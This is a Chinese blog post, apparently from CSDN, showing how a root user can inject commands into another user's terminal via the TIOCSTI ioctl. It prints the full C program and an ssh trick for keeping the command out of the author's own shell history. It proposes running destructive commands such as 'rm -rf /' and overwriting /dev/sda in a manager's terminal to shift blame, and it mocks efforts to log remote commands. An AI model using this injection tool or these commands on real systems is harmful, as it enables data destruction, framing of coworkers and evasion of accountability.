在别人的终端上执行Linux命令

你想偷偷摸摸干点不好的事吗?

我的意思是,你干点坏事,比如把机器给halt,比重要文件删了,然后让人觉得这是别人干的,说白了,就是嫁祸于人,特别是经理,你想吗?

本文我将提供一个比较low的偏门技巧。


很多情况下,我们都用root登录一台服务器,并且不止一个人以root登录,像这样:
在这里插入图片描述
可以看到分别打开了两个tty终端:
在这里插入图片描述
我们希望在别人打开的其它终端中执行一些可怕的命令,比如 “rm -rf /”“echo aaa >/dev/sda” … 当有人查起来,趁着程序还在内存中,你可以说, “不是我干的啊,是经理干的啊,不信,你去看看经理终端的history!”

嗯!

好了,现在,我希望在pts/1上输入一个命令,让它在pts/0上执行。效果是这样子的:
在这里插入图片描述
你可能觉得还需要考虑如何隐藏掉下面的history:

    7  ./a.out /dev/pts/0 pwd

简单,直接在另一台你自己的机器上搞呗:

ssh root@192.168.56.110 "/root/a.out /dev/pts/0 'echo 经理的皮鞋不会胖'"

你看,干干净净:
在这里插入图片描述

如何做到的呢?

秘密就在a.out中了。

这是一个非常简单的程序,代码如下:

#include <stdio.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>

int main(int argc, char **argv)
{
  char tty[16] = {0};
  char cmd[64] = {0};
  char tmp[2] = {0};
  int len, i;
  int fd;

  strncpy(tty, argv[1], strlen(argv[1]));
  strncpy(cmd, argv[2], strlen(argv[2]));
  len = strlen(cmd);
  fd = open(tty, O_RDWR);

  for (i = 0; i < len; i++) {
    sprintf(tmp, "%c ", cmd[i]);
    ioctl(fd, TIOCSTI, tmp);
  }
  ioctl(fd, TIOCSTI, "\n ");
}

当然,你可以 替别人(特别是经理) 执行任何命令,毕竟你们都是root嘛…

还不赶紧去试试?


开玩笑了,这篇文章其实没有什么技术含量,你只要知道TIOCSTI这个command就能写出这程序,这一点我在很久之前的文章里就有说过:
https://blog.csdn.net/dog250/article/details/5692612

所以说,也就不要纠结这程序在没有root的时候没有用了…没有root给你给终端你也干不了什么坏事,所谓的坏事就是大家都有root的情况相互甩锅,抵赖。

另外,也不要总想着通过配置sshd来记录ssh远程执行的命令从而缉拿真正的捣乱分子,只是玩玩儿,何必什么事都当真去较真儿呢?


浙江温州皮鞋湿,下雨进水不会胖。

  • 83
    点赞
  • 312
    收藏
    觉得还不错? 一键收藏
  • 18
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 18
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值